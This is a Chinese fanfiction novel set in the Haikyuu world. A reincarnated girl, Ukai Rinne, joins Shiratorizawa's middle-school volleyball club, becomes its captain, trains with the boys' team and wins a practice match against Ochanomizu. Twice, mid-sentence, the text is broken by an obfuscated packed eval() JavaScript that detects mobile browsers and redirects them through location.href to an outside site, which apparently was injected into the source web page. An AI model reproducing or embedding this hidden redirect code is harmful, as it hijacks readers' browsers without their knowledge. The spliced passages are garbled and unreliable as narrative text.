“你在学校要学习，放学了就练球，每天的娱乐时间只有晚上打两局cs了，爸爸都知道的，给你买个笔记本电脑，方便你带到学校，每天不要这么累，也要劳逸结合，玩玩游戏。”爸爸心疼地看着这个从0岁自律到现在的女儿。 凛音有点心虚，其实她的娱乐时间还有白天上课时…… 不管爸爸妈妈千般不舍，开学了还是要上学的，凛音怀着一种期待踏入了国中。 14. 开学了 白鸟泽的初中部和高中部是连在一起的，但有两个校区，一个校区更注重文化成绩，一个校区更注重社团活动，可以根据个人意愿去不同的校区学习。 凛音和凪作为排球特招生，自然是去社团校区。 在正式开学的前一天，父母把凛音送到了她的宿舍，帮她摆放好东西。 “凛音，我们给你准备了三十套换洗衣服，要是不想洗没关系，放假带回家洗就行；每天不要学的太累了，也不要练球练的太累了，多玩玩游戏，多和同学们一起玩玩。”爸爸妈妈不放心的叮嘱她。 “可是平时我们要穿校服啊……” 爸爸妈妈愣了一下，开始担心起来，孩子还没洗过衣服怎么办。 “学校有公共洗衣机的……”凛音提醒他们。 “哦，那太好了，不然我还想给你买一个送过来呢。” “……” 凛音带着父母吃了午饭，参观了校园，然后送他们出了校门。 宿舍是个双人间，下午，凛音的室友才来，没错，这个人就是黑川凪，她的父母和哥哥姐姐全都来了，对着她叽叽喳喳，千叮万嘱，凪不耐烦地把他们赶走了。 学校出于自己的考量，特意把她们俩人分在了同一间宿舍。 不是每种朋友都适合住在一起的，但她们俩在一起集训过好几次，证明了她们还挺适合住一起的，所以学校思来想去还是把她们俩人分在了一起。 凛音第一次住校还是上辈子在大学的时候，住了四年，对宿舍生活适应良好。她不禁感叹，上辈子北京的老宿舍真的烂，四人间，破破旧旧的。而白鸟泽这个双人间的小宿舍倒是很好，空调，浴室什么都有，看着也很新。 凛音因为先来，选择了下铺，而凪对上铺也没什么疑议，两个人都在床上装了床帘，毕竟再好的关系也要有隐私的。 两个人一起熟悉了校园，摸清了食堂，教学楼的位置，一起吃了个晚饭，晚上一起打了会游戏，十点之前熄灯上床，带着对未来的期望和紧张入睡了。 第二天，两个人一大早就起床了，按照新生手册的内容，去公告栏看分班，她和凪都被分在了三班，在一班还看到了鸟海玲奈。 ！！！ 凛音看到了一个她怎么也不会想到的人！ 小林莉亚！！！ 她显然也看到了凛音，跑过来打招呼：“早上好啊，乌养同学，黑川同学，以后就在一个学校了，请多多指教哦。” 凛音直接呆住了，手忙脚乱地问：“你…你怎么来白鸟泽了，你不是在东京上学吗？” 黑川凪也很惊讶，但她更觉得凛音的样子更丢人一点，打招呼呢，唉，当初她怎么就会觉得凛音…… 黑川凪一面在心里吐槽一面回应：“我们才要请多多关照。” “哈哈哈，我不是说想和你做队友嘛，最强的矛和最强的盾，现在还有最强的大脑，这种队伍一定很有意思吧。既然你们都在白鸟泽，那我也来面试了，结果顺利通过了，就被特招进来了嘛。”小林莉亚并不在意凛音一个小小的无礼，解释到。 “哦嗨哟，乌养，黑川，小……小林莉亚，你怎么也在这？”鸟海玲奈看到她们打了个招呼，很惊讶小林莉亚的到来。 “哦嗨哟鸟海，我追着凛音就来了。”小林第二次的解释就简洁了许多。 鸟海玲奈恍然大悟表示理解，毕竟她就知道好几个学习成绩很好的女生也是因为凛音报考了白鸟泽，甚至于她自己选择白鸟泽都有凛音的原因。 看完分班后，就要去各自的班级，等着班主任来上班会课。 凛音班上只有三十个同学，先每个人来一个自我介绍，自我介绍一圈后感觉这班分的还挺好的，有音乐好的，有绘画好的，有体育好的，不管什么活动都有能上的人。 班上还有凛音小学时的同班同学和隔壁班的同学，总得来说这个新班级在凛音和黑川凪看来还是很不错的。 上午，老师带着大家领取了教材，文具，校服等东西，安排了班级事务；中午，统一在食堂吃了一顿饭，和小学一样没有午休；下午，老师带着大家认识校园，在学校的各个地方都走了一遍，介绍着学校的历史。 下午三点就放学了，凛音，黑川凪，小林莉亚还有鸟海玲奈这四人都是一年级的排球特招生，不用向排球部申请就直接相当于入部了。 四个人放学就去了排球部的活动室，学姐们正在等她们。 凛音一看，好多熟人，不少是小学时候集训遇到过的前辈，凛音乖乖打招呼。 现在的部长是今川加悦，三年级，凛音小学四年级集训时，今川加悦就是六年级的队员了，不过四年级的凛音已经比六年级的今川加悦强了，今川自己也很清楚，国三的自己比不过国一的凛音。 今川加悦是个没什么前后辈意识的人，或者说白鸟泽就不是个等级森严的地方，一切实力说话，她认可凛音的实力，也认可她的人格魅力，于是干脆宣布禅位，把部长一职让给了凛音。 这个决定早在上一届顶梁柱升学后把社团交付给她时，今川就已经做下了。 当初一起参加集训的都是排球部的主力，她们和凛音一起呆过，自然是没有意见的，还相当支持。不过没有参加过集训的部员就相当懵了，完全没想过今川加悦会把部长一职让给一个新人，但实力很强的几个人是一副今川做得好的样子，她们也不敢说什么。 凛音自己也有点蒙了，但也没拒绝，她在中国长大，对前后辈文化没那么敏感，而且她自认为自己有这个实力当部长。 不过凛音不能立马就履行部长的职责，需要和今川加悦交接一下，今川很负责的带着凛音熟悉部长的职责。 第一件事，今川组织了一场内部的排球练习赛，4vs4。 一年级的四个新生对战排球部最强的主攻、二传、副攻和自由人。 一年级那边先发球，她们内部讨论了一下阵型，第一轮让凛音来发球位。 因为人更少，场地却还是那么大，所以防守的难度高了不是一星半点，凛音很轻松就看到了对方的防守薄弱处。 她拍了拍球，锐利地眼神紧紧盯着 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今川加悦也松了一口气，上一届三年级厉害的选手比较多，结果导致她们那届一毕业，整个白鸟泽陷入了青黄不接的尴尬境地，这一下来了四个厉害的一年级，让她们的压力骤减。 尤其是乌养凛音这个人，传闻她五年级时就被各个名校争抢，看来很有可能是真的。 一般来说，男排中力量比较大的选手力量为5，牛岛若利的力量是稀有的6；在女排中力量不错的一般是3，每年会有个别力量大的选手能到4，而力量5在女排可以说是很稀有了，整个日本好几年才能出一个；而女排届估计凛音发育完全后力量能达到6，这是极其稀少的，现代日本女排发展这么多年没出过这种选手。 日本国家队在全世界以防守见长，因为身高和力量的劣势，进攻能力比较弱，可以想象如果日本有一天能出现一个在国际上都名列前茅的进攻手，那么这支队伍将达到一个前所未有的高度。所以，整个女排届都在关注乌养凛音，在等待她长大，看看她能不能成为力量6的选手。 这次的小练习赛让部员们对新的部长彻底服气了。 黑川凪的二传，小林莉亚的拦网，鸟海玲奈的接球，都让学姐们认识到，这几个人是被特招的天才。 三年级只有今川加悦是被特招的，她目前在队伍里是接应，偏防守的接应；二年级特招的也只有木本瑶，是副攻。 按照白鸟泽往年的首发阵容，应该有一个二传，两个主攻，两个副攻，一个接应，二三年级的部员们已经默认首发阵容：乌养凛音大主攻，黑川凪二传，今川加悦接应，小林莉亚小副攻，木本瑶大副攻。 还缺一个主攻，或者一个副攻。需要从其他非特招的部员里面选了。 鸟海玲奈也默认当自由人了，不过自由人可以自由地替换掉场上的后排队员。 社团的问题解决后，凛音突然想起了什么，问今川：“今川前辈，我们部有经理吗？” “没有哦，学校给我们雇了两个助理，男的。” 唉，美女经理…… 15. 去男排打球 开学前几天，新生还在填入部申请，凛音她们就要在排球部正常训练了。 女排作为学校的强势部门，根本就不担心招新问题，相反有基础的没基础的都会来报名会让她们很苦恼。 凛音对所有申请的人都是来者不拒的，毕竟学校给女排分的活动场地很大，够几十个人用了，而一个年级才一百五十人左右，三个年级加起来才四百五十几人，社团那么多，加入女排部的肯定不会超过五十个人，而且还有不少以女排部当第二社团的，社团的正选也就十多个人，差不多刚好能拉出一个比赛的队伍。 凛音直接把人按照意愿分为想参加比赛的，和不想参加比赛的，想参加的有20个人，享受最好的资源，但每次部活都要参与，每天要花不少时间练习排球，每周日才休息一天；不想比赛的就轻松多了，能得到的资源很少，但参加部活全凭自愿。 这20个人就是女排部的主要成员，其中有7个一年级新生，4个是特招的，1个有一定基础，2个零基础的。 这两个人被凛音扔到基础班上课了，其他人正常练习。 对凛音来说这部长当的很忙，她把这20个人按照水平分成了一队和二队，分别考察了一队二队，为每个人订了一份训练计划，把计划互补的人分成一组来训练，其他部员就分一个老师教基础好了，反正她们并不想为排球花太多时间。 凛音只在意那些热爱排球、愿意为排球花大量时间精力的人。 教练组对凛音的分配也很满意，他们的精力主要就集中在这些认真打排球的学生身上。 现在的部活和小学时的每日排球很不一样，以前每天都是和若利、凪一起练的，要不就找高年级。而现在和同龄的女排队员，总感觉强度变低了。 教练组也发现了这个问题，于是建议凛音经常去男排训练，凛音觉得有理，便同意了，经由教练和男排部沟通，每周二周四周六去男排训练，剩下时间在女排。 开学第二周的周二，是凛音第一次去男排训练的时候，这让凛音感觉有点不自在，离开熟悉的环境去到一个新的全是男孩子的环境，幸好若利也在。 她当然不能去男排活动室换衣服，只能先去女厕所换好衣服，买好水，带着自己的护膝去男排的场地。 到了以后，凛音发现男排的人几乎全到了，不是，我已经来的够早了吧，你们怎么就全来了，该死的，我们女排真是懈怠啊，回去要好好提点一下了。 所有人都用好奇的眼光打量她，凛音尴尬地走到牛岛若利身边，打招呼：“下午好啊，若利。” “下午好，凛音。” 牛岛若利身边站了几个人，凛音觉得应该是队伍的主力，他们很热情的和凛音打了招呼。 “你好，我是濑见英太，二年级，是二传手，初次见面请多关照。” “你好，濑见学长，我叫乌养凛音，主攻，请多关照。”凛音笑得一脸灿烂，可能面对大帅哥就会笑得更多吧。 “你好，我叫山形隼人，二年级，担任自由人，请多关照。” 这个长得也还行诶。 “你好，我叫大平狮音，二年级，担任主攻，请多指教。” 这个身材魁梧，而性格看起来很好，是温柔版的弁庆。 大家陆陆续续地来和凛音打了招呼，她有主意到一年级有个很好看的男孩子叫川西太一，一直冷着脸，看着还挺可爱的。 不过凛音对好看的男孩没太多感觉，哇，好帅，然后多看两眼，多笑两下就没了。 在正式练球之前要热身慢跑，这也是体能训练里的一部分。 大家鱼贯而出，跑了一会，牛岛若利跑在最前面，凛音就在他旁边一起跑。 毕竟她一直没落下过体能训练，虽然因为男女差异比若利体能略差，但跟上他还是没问题的，而且若利和她一起跑的时候会比平时跑的慢一点点，以便和她并排。 其他人跑的太慢被慢慢甩到了后面。 “乌养同学跑的好快，能和牛若跑一起啊。” “牛岛今天是不是跑的慢了一点啊？” “没有吧，还是那个速度啊。” 凛音在前面都能听到他们后面在叽叽喳喳。 凛音和若利倒是没有说话，跑步说话会打乱呼吸节奏的。 慢跑结束，该回到场馆练习了，凛音拿毛巾擦擦汗，喝了几口水，做了一会拉伸动作，去找若利练球。 “若利，他们还没回来啊，我们先练球吧。” “嗯，好，来吧。” 等大部队跑完步回来，凛音和牛岛若利已经练了有一会了，没有二传托球，这两人就练发球和接球了。 一群少年，在场地旁边一边休息一边看这两人练球。 “哇哦，乌养学妹的力量好大，这发球也太快了吧，和牛岛都差不多了诶。” “接球也很厉害啊，能完美接到牛岛的发球啊。” “听说他们是青梅竹马，从小就一起打球了。” 这次，凛音和牛岛若利一起练球的时间不长，她被濑见英太一本正经地请求陪他练习发球。 现在的二传还真是喜欢发球啊，黑川凪六年级的时候也开始着重练起了发球。凛音这么想着，和濑见英太去了一片空场地。 然后凛音发现，这个人看着一本正经的，但有股很强的展示欲，不管是发球还是托球，风格都相当华丽。 凛音毕竟练发球练了有六年多，身为学长的濑见在发球上确实不如她，所以也学到了一些东西。 最后还有一个小时部活结束，他们打算打一个小练习赛，首先凛音和牛岛若利分在两个队伍里，濑见英太，川西太一还有山形隼人都在凛音那方，再凑两副攻过去。大平狮音和牛岛在一队，从替补里面拉了一个二传，一个自由人，两个副攻。 从人员强度来看，凛音这边比牛岛更强一点，因为凛音和队友没有过配合。 趁着热身，她和濑见试着配合扣了几个球，感觉还行，她就让濑见来判断，自己会主动去配合他的。 凛音这边的阵型很怪，一般来说第一次发球的会是二传，然后轮换，但凛音选择了自己第一个发球的站位。因为牛岛若利是强力接应，一般不参与一传，只要专注进攻，那么他的防守任务就会分摊给其他人，凛音默默瞄准了对手的二传，发出了沉重的一球。 “怦！” 对方手碰到了球，但力气太大了，角度没有把握好，球直接飞出界。 “好球！乌养！”队友欢呼起来。 可惜，男排的身体条件比女排好，她只发了三次球，发球权就被夺走了。 濑见是个有自己想法的二传，很多时候他的进攻选择与凛音一致，那么他们就能打出好的配合，有的时候不一致，就会出乱子。毕竟没有默契，一开始凛音只能拼了命的在配合濑见的传球，打了十几球以后就好多了，濑见对凛音的风格更加了解，为她托得球也更加精准。 让凛音不适应的是，她以前扣的球是队伍里面最多的，但在这场练习赛里面她的战术地位下降了不少。 好想凪啊…… 凛音一眼就看出濑见英太的风格不适合白鸟泽男排，白鸟泽的男排和女排不一样，更加注重王牌，与王牌密切相关的二传手是一定要为王牌服务的，但很遗憾，濑见英太有自己的想法，他想在赛场上展现自己的强大。要不是目前没有比他更好的二传手，濑见一定会被换的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808526|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不过凛音目前和濑见还没太熟，不太好直接讲，以后要是关系好了就和他说。 川西太一长得很高，拦网也比较有水平，但给人感觉很节能，像一只猫，平时懒洋洋的，关键时刻才会伸出利爪，精准地捕获猎物。 山形隼人是凛音最欣赏的，身为自由人，他有着这个年龄里高超的接球水平，二传能力也还行。 最后，凭借着凛音创造的发球优势，他们这队险胜，就领先两分。 凛音的水平确实远超大家的估计，她在进攻上的技巧比牛岛若利还厉害（毕竟上辈子四年基本都在练进攻），力气比牛岛若利略小一点，但比其他男排选手要大，接球发球拦网的水平也相当不错，难怪要来男排训练。 男排的众人本来还在为社团里来了一位美女而兴奋呢，现在彻底不会单纯的把凛音当成美女看待了，而是和牛岛若利相同的地位，而且凛音是女排部的，和他们没有竞争关系也没有上下级关系，他们对凛音就不需要太紧张。 练完球已经晚上八点了，凛音和牛岛若利一起去食堂吃饭，这个点的食堂是专门为了他们这些参加部活的人开的。 濑见英太、大平狮音、川西太一、山形隼人自觉地跑过来，和牛岛若利凛音坐在了一桌。毕竟是一二年级的主力，他们比较合得来，每天也都一块吃饭。 然后四个人的目光聚集在凛音的菜盘里，这么多饭，真的能吃得下嘛…… 凛音看出了他们眼里的探究，不以为然，解释道：“别看了，我能吃完的，毕竟力气大，食量也大嘛。” 果然，四个少年眼里的探究变成了羡慕，打排球的谁不想力气大；再看看凛音比他们男排多数人都高的身高，看着甚至还有点纤细的身材，更加羡慕了。 饭才吃了两口，山形隼人突然出声：“我的手机丢了！” “啊？是不是丢在体育馆了？赶紧去看看吧。”只有凛音关心这件事。 其他人一副见怪不怪的样子。 “吃完饭再去找找吧。”濑见英太对这个每日节目很是淡定。 “隼人经常会把手机忘在各种地方，不用担心。”大平狮音好心和凛音解释。 “哦~原来如此，为什么打球的时候不把手机放在包里？”凛音好奇地问道。 “啊！我的包也忘记拿了！”山形隼人很快给出了答案。 “……”6 体育馆肯定已经关门了，只好明天一早去拿了。 牛岛若利不怎么加入大家的谈话，但如果提到他，他也会认真回答。 川西太一倒是和凛音想的不太一样，凛音以为这是个冷脸小帅哥，但对前辈们却意外地十分温柔，不过对她还是不多说话。 作为表面上阳光开朗的自来熟，凛音很快就可以和大家愉快的聊天了。 “我平时每天晚上都要打cs呢，你们玩这个游戏吗？”凛音每次认识新朋友都会问问有没有同好，可惜，这次也没有。 “唔，我不玩游戏，不过我喜欢音乐和画画。”濑见英太回答道。 “我也学过贝斯和素描，学的还不错哦。我来猜猜，你是不是喜欢摇滚。”凛音上辈子在大学之前琴棋书画样样精通。濑见英太的球风比较花里胡哨，所以凛音猜测他可能会玩摇滚。 “对，我很喜欢摇滚，以后想组个摇滚乐队。”濑见大方地表达自己的理想。 “你加油哦。”大家都鼓励道。 一顿饭吃下来，凛音知道了山形隼人总是丢手机，还喜欢讲冷笑话；川西太一对花粉过敏；大平狮音坐下的时候会发出“嘿咻”的声音；濑见英太想组乐队…… 总之，凛音已经初步融入了男排了，这男排氛围也很好嘛。 16. 日常1 回宿舍以后，凛音和凪分享了自己在男排的见闻，训练上的强度确实比女排大，比较适配她一点，但她不可能完全放下女排那里的训练，毕竟比赛是要一起配合的，她需要和队友有默契。 培养这种默契对她来说并不难，她和最关键的二传有从小到大的默契在，与其他队友配合的重要性不如二传，所以她才有余力去男排训练，提升个人能力。 凛音和凪聊了一会，去洗漱，洗漱完九点，还可以打一把cs，打完美美睡觉。 第二天放学后，凛音正常来女排训练，今天和她一起练习的是并木郁江，三年级的学姐，主攻位置。 白鸟泽女排中好的主攻大多都是上一届已经毕业的三年级，并木学姐是如今二三年级中少有的的可靠的主攻手，也是她们队里暂定的首发的小主攻。 女排部二三年级的优秀选手比较少，霸主地位主要靠上一届的三年级维持，目前能上赛场的只有：今川加悦三年级接应，木本瑶二年级副攻，浅沼由美三年级副攻，并木郁江三年级主攻，熊野纱里奈二年级自由人，大竹千惠美二年级接应。 加上一年的四个人，一共只有十个人，比赛倒是能打，只是可换的人比较少，而且没有二传，黑川凪的压力急剧增大，很可能全场都下不来一次，长久下来不是办法，一旦她体力不支都没人能接替她。 凛音一边练习一边在思考女排部的困境。练习结束后，她去基础班那边看了一下，一年级两个没有基础的部员是一对双胞胎，姐姐叫风间春明，妹妹叫风间夏树。 嗯，很好，练的不错，可惜就是练的晚了一些，至少要到下学期才能上场了。凛音这么想着。 “小春，小夏，你们玩过来一下。”凛音把双胞胎叫了过来。双胞胎一个姓，喊姓的话都不知道喊的谁，于是部里面统一喊的都是小春和小夏。 “嗨，乌养部长。”*2 这两个人对一年级就能当部长的凛音满是敬佩。 “你们开始打排球也有一个星期了，每天都有好好练习，很不错，你们有想过以后打什么位置吗？”凛音笑着问她们。 “我想打二传，因为二传是队伍的大脑，掌握队伍的节奏，这种感觉很好。”风间春明回答道。 “我喜欢扣球，所以会打主攻或者副攻吧。”这是风间夏树的回答。 “很好，看来你们都有目标了，那么以后的练习可以稍微有点针对性了。不过你们的基础还不太好，所以要上赛场的话至少要等到下学期了，今年暑假的全中应该是没有机会了。” “没关系！一年级有机会参加春高我们就很高兴了！”姐妹俩很兴奋。 凛音是很看好这两个一年级的，经过几天的观察，能看出天赋不错，人也够自律，教练组也比较重视这两个人。所以平时她会时不时来和两个人说说话，纠正她们的一些动作，教她们一些技巧。 凛音对热爱排球且有天赋的人一向很有耐心，很温柔，不吝啬自己的经验，所以女排部的一队和二队都很喜欢她，而不专注排球部活的那些人也乐见乌养凛音不管她们。 现在是四月初，马上六月份要开始全中的县预选赛了，不管是男排还是女排气氛都很热烈，而女排这边的压力远比男排大，因为阵容变化更大，磨合起来更花费时间。整个二三年级没有一个稍微好点的二传，不仅黑川凪都没人替补，这也意味着整个队伍对二传都是陌生的。 凛音已经好几天没和黑川凪练过球了，因为她实在是太忙了，一支参加比赛的队伍有14人，而她要和每个人都磨合好。 这个阶段估计要持续一个月，等到五月的时候，凛音就要暂停去男排的训练，和队伍进行配合练习，五月中旬的时候，白鸟泽的教练会邀请一些学校来打练习赛，因为参加的是县预选赛的缘故，一般不会邀请本县的学校，都是周边其他县的强校。直到教练组认为队伍在配合上没什么问题后，凛音才被允许到男排训练。 等到还有一个小时结束部活时，大家开始打练习赛了，几个教练就在一旁看着，时不时记录一下。 全部结束后，已经八点了，她们的放学时间和男排一样。 凛音和女排部几个一队队员一起去吃饭了，在食堂还遇到了男排部的，凛音自然地露出灿烂的笑容和他们打了个招呼。 “凛音为什么每天都能对所有人笑的那么开心呢？”回到宿舍后黑川凪疑惑地问道。 “唔，因为不仅每天都能打排球，而且未来能踏入国际赛场，遇到各种强劲的选手，我感觉很幸福，所以忍不住对每个人笑。”凛音如实说到，在黑川凪面前她不需要谦虚。 黑川凪听了也笑了起来，她想她明白了，很少会有人不喜欢一个时刻对外释放正能量的人吧。 还是和以前一样，凛音打了一把cs娱乐一下，然后拿了两瓶牛奶去宿管那里借微波炉热一下，回来后递了一瓶给黑川凪。 “凪，喝牛奶会长高哦。”凛音心里知道这很可能是假的，但那可是一丝丝长得更高的可能诶。 黑川凪自然地接过，喝了起来。 喝完牛奶，十点了，美美睡觉。 她们这种体育生就是要早睡早起。 第二天早上六点半，凛音和凪准时起床，十五分钟快速洗漱换衣服收拾东西，然后下楼慢跑三十分钟，买个大福当早饭，两口吃完，再回去洗个澡换上校服，往包里塞一瓶牛奶防饿。 八点准时到教室上课。 凛音这种精力旺盛的上课并不会困，上的东西她都懂，所以也不会催眠，但她也绝对不会听课的。 那么她每天上课都在干什么呢，这个问题凛音也说不上来，一节课要么在胡思乱想，要么就在画画。上课时间是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808527|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一天中真正的放松时间，大脑完全放空。靠打cs放松？开什么玩笑，竞技游戏怎么放松，她是纯纯瘾大。 当然，上课的时候还会遇到老师点人回答问题。文科老师点人会少一点，而凛音凭借上辈子培养出来的语文能力，也能胡扯一大堆，让老师不会批评她；而理科就更简单了，日本的国中？凛音想想就笑出了声，还有什么她不会的题？ 最让她觉得好笑的还是英语课，日本人说英语真的好好笑哦，凛音虽然有点听不懂，但还是笑了出来，难怪网上都说日本人的英语只有日本人能听懂呢。相比较而言，凛音不算出色的口语在日本也惊为天人了起来…… 这样过了一周多，老师们对凛音也有了一些了解，看在她是体育生而且问题也能回答出来的份上，上课不再管凛音了，由她去了，凛音那自然是很高兴喽。 又混了一上午，凛音画了一副画，是上辈子她每天都在小区看到的景象。 她真正的童年在中国，她的人格也是在中国形成的，常年住在日本，吃着吃不惯的食物是一件很难受的事情，凛音有想过穿越这件事，但一细想就会头疼，她还没那么不怕痛，于是就不敢想了。 这种孤独始终缠绕着她，每当思乡之情浓烈的时候，她都会想到落叶归根这个成语，并深刻理解了它是什么意思。 凛音叹了口气，随及又幸福地笑了，她还有排球，家人和朋友。凛音把画收起来，她只是打了个线稿，打算这个周末来上色。 “中午吃什么，凪？”凛音随口一问。 “没想好，去食堂看看吧。” 两个人在食堂随便打了点饭，吃完就在学校散散步。 中午只有一个小时的休息时间，用来吃饭的，凛音早已习惯不睡午觉的日子，但下午还是会犯困，因为她小学六年下午的课都是睡过来的，学校不给她午睡，她会自己找时间午睡。 下午两节课，凛音在最后一排睡得很香，而老师选择了无视她。 放学的时候，还是黑川凪把凛音叫了起来，她这才迷迷糊糊地去旁边卫生间换上运动服，收拾好东西，背上小书包去男排练球。 到了男排的地盘，凛音一路打着招呼，来到牛岛若利身边，开心地和他交谈起来。 “也只有乌养能和牛岛相谈甚欢啊。”大平狮音感慨道。 “是啊。”濑见英太称是。 今天也是练球练到八点，凛音和牛岛若利一起吃饭，还有男排的几个人，遇到女排也是笑着打个招呼。 这样的生活按照计划的那样，一直持续到五月份，凛音暂停了去男排的训练，把精力全都放在团队上，整个队伍一起配合练习了半个月，五月中旬，教练邀请到了一个东京的名校来进行练习赛。 御茶之水女子中学校——以极致的防守而出名的学校，也是教练组特意挑选的。 17. 和御茶之水的练习赛 五月中旬的一个周六，御茶之水的队伍坐大巴来到了白鸟泽的体育馆，凛音带队严阵以待。 双方见面后，列队握手。 第一场比赛是双方参加全中的队伍之间的对决。 哨声响起，白鸟泽率先发球。凛音站在发球区，面对防守强队，开局建立优势至关重要。 抛球、助跑、起跳、挥臂！一记力量与速度兼具的跳发球直扑对方后场，御茶之水的接球队员虽然判断对了方向，但球的力道远超想象，手臂接触的瞬间只觉得一阵发麻，球直接弹飞出了界外。 “ACE！白鸟泽得分！” 对手不愧是号称全国最强防守的队伍，凛音只靠发球得了两分，发球权就被对手夺走。 不过这次发球还是影响了对手的士气，在后面的回合中，乌养凛音在前排的进攻依然势不可挡。御茶之水的拦网在她面前显得单薄，后排防守虽然卡位精准，但凛音的扣球力量实在太大，即使判断对了方向，也常常因为球速太快或触手后弹出界外而无法形成有效防守。 “砰！”一记干净利落的超手扣球。 “啪！”一次精准的打手出界。 凛音几乎以一人之力撕裂了对方的防线。黑川凪也心领神会，多数球都稳健地传向四号位，充分发挥王牌的破坏力。 25：19，白鸟泽凭借凛音的绝对强势，较为轻松地拿下第一局。 局间休息后，御茶之水的队员们不知道交流了什么，眼神都变得更加专注。 第二局开始，情况悄然发生变化。凛音再次获得扣球机会，她像之前一样发力重扣，然而这一次，御茶之水的自由人佐藤遥却没有硬碰，而是在触球瞬间手腕有一个细微的后撤动作，巧妙地将球的巨大力量卸掉了一部分。 球虽然还是接得有些高，但不再像上一局那样直接弹飞，而是晃晃悠悠地回到了空中。 二传迅速跟上，将球调整给侧翼的攻手，一次迅捷的反击得分。 “啧，麻烦了。”凛音意识到对手已经适应了她的力量。 随后的比赛，御茶之水展现了她们为何被称为“防守之最”。她们不再试图完全挡住凛音的扣杀，而是通过拦网手的封锁，改变球的线路，为后排防守创造机会。后排队员则通过精准的预判和娴熟的卸力技巧，一次次将凛音的重扣救起。虽然无法形成高质量反击，但她们硬是将比赛拖入了多回合的拉锯战。 白鸟泽的进攻开始变得急躁。并木郁江和木本瑶的几次进攻被对方严阵以待的后排有效化解，而凛音在多次发力受挫后，也出现了两次扣球失误。 御茶之水则抓住机会，利用顽强的防守一点点磨掉白鸟泽的锐气，再以快速多变的战术进攻蚕食分数。 23：25，御茶之水成功扳回一局。她们用坚韧的防守证明，即使面对绝对的力量，完美的体系依然能够找到取胜之道。 连续两局的高强度对抗，让白鸟泽的队员们有些喘息。决胜局开始前，凛音拍了拍手，将大家聚拢在一起。 “是时候让她们知道，白鸟泽已经和以前不一样了，王牌才不是唯一。” 决胜局，御茶之水依旧采取针对凛音的防守策略。然而，当她们的防守阵型再次向凛音倾斜时，黑川凪将球快速而隐蔽地传到了三号位。 木本瑶心领神会，快速起跳，一记干脆利落的短平快，球落在了对手的界内。 “好球！”队员们欢呼着围拢。 下一个回合，黑川凪再次利用凛音强大的牵制力，一个背传将球给到后排插上的并木郁江，再次得分。 同时，小林莉亚在前排的拦网也开始发力，有效限制了对方的核心攻手。而凛音，依然是球队最可靠的终结点，但她这次已经成了一个大号诱饵，将御茶之水的防守阵型搅得不得安宁。 决胜局最后关头，双方比分紧咬。凛音在后排发出一记角度刁钻的跳飘，破坏了对方的一传。御茶之水勉强组织进攻，她们的接应试图从二号位突破，却被早已守候多时的小林莉亚和并木郁江组成的双人拦网死死封住了线路！ “砰！” 拦网得分！ 比赛结束！白鸟泽胜！ 哨声响起，白鸟泽的队员们激动地拥抱在一起。 御茶之水的队长佐藤遥走到网前，向凛音伸出了手：“不愧是女武神啊，而且你们整个队伍都很强。很期待在东京场馆里见到你。” 凛音握住她的手，自信地微笑：“你们也确实很强，全国的国中里恐怕也就你们能这么快适应我的力量了。” 回过头来看，其实第一局快结束的时候，对手就已经适应了她的力量，只是她们知道第一局肯定输了，所以没有表现出来，而是选择在第二局开始打她们个措手不及，真狡猾啊。 两队人往场地旁边一坐，马上开始的是双方二队的比赛，基本都是刚入部的新生和一些打得不算好的二三年级生。 这场比赛比起一队的那场要轻松很多，有时候甚至说得上是幽默了。 两支刚刚才交手的队伍如今就坐在观众席，一起讨论自己家二队的比赛。 这场训练赛结束后，女排部请远道而来的御茶之水吃饭。白鸟泽作为一个超级有钱的私立学校，食堂还是有不少好东西的，只要你愿意花钱。而白鸟泽的女排部有社会人士赞助，虽然算不上学校最有钱的社团，但请友校吃顿好的完全没问题。 大家一边吃饭一边聊天，气氛还不错，两个队伍里的二三年级生彼此也都是认识的，因为两个学校每年都打一两次训练赛。 吃完午饭，御茶之水坐着大巴离开了，女排部也开始了今天的训练。今日训练量完成后，教练组已经把今天比赛的录像弄出来了，直接用投影仪投在墙上带着所有人一起复盘。 复盘完，今天的训练也就结束了，明天周日休息一整天，凛音打算回家吃饭，她家在仙台的郊区，离学校有点远，所以爸爸妈妈会来接她。 不过，作为住宿制学校，平时出校是要和学校上报的，但审核很松，出门理由就是“我想回家”。 周六晚上凛音就离开了学校，是妈妈来接她，妈妈开车带她去了一家中餐厅，爸爸已经在等她们了。 美美和爸爸妈妈吃了一顿晚餐，凛音回到家，躺在自己柔软舒服的床上，再次感觉到了幸福。 美好的周日，大厨凛音又要出手了，她和爸爸妈妈一起处理食材，然后由她来烧菜。 看到一桌美味的饭菜，凛音心情很好，自己做的菜要比中餐厅更好吃一点，因为日本中餐厅的味道都根据当地的口味调整过了，混入了一点她不喜欢的味道。 在家躺了一会，凛音下午三点就回学校了，开始体能训练和排球训练。虽然社团休息一天，但她不会在有时间的情况下不训练。 训练完，发现黑川凪还没回学校，凛音也不急，她一般会在晚上七八点才回学校，因为她的家人太黏人了。 所以晚上凛音去找牛岛若利一起吃饭了，还能和他聊聊天。自从上了国中住宿以后，他们俩的交流减少了不少，不过关系依然很亲密。 刚好遇上了来食堂吃饭的濑见英太和大平狮音，两个人也看见凛音和若利了，打了个招呼，和他们坐到了一桌。 因为是周日，大家穿的是私服，凛音偷偷地多看了几眼濑见英太，emmmm，啧啧啧，怎么会这么土，幸好人长得好看吧。 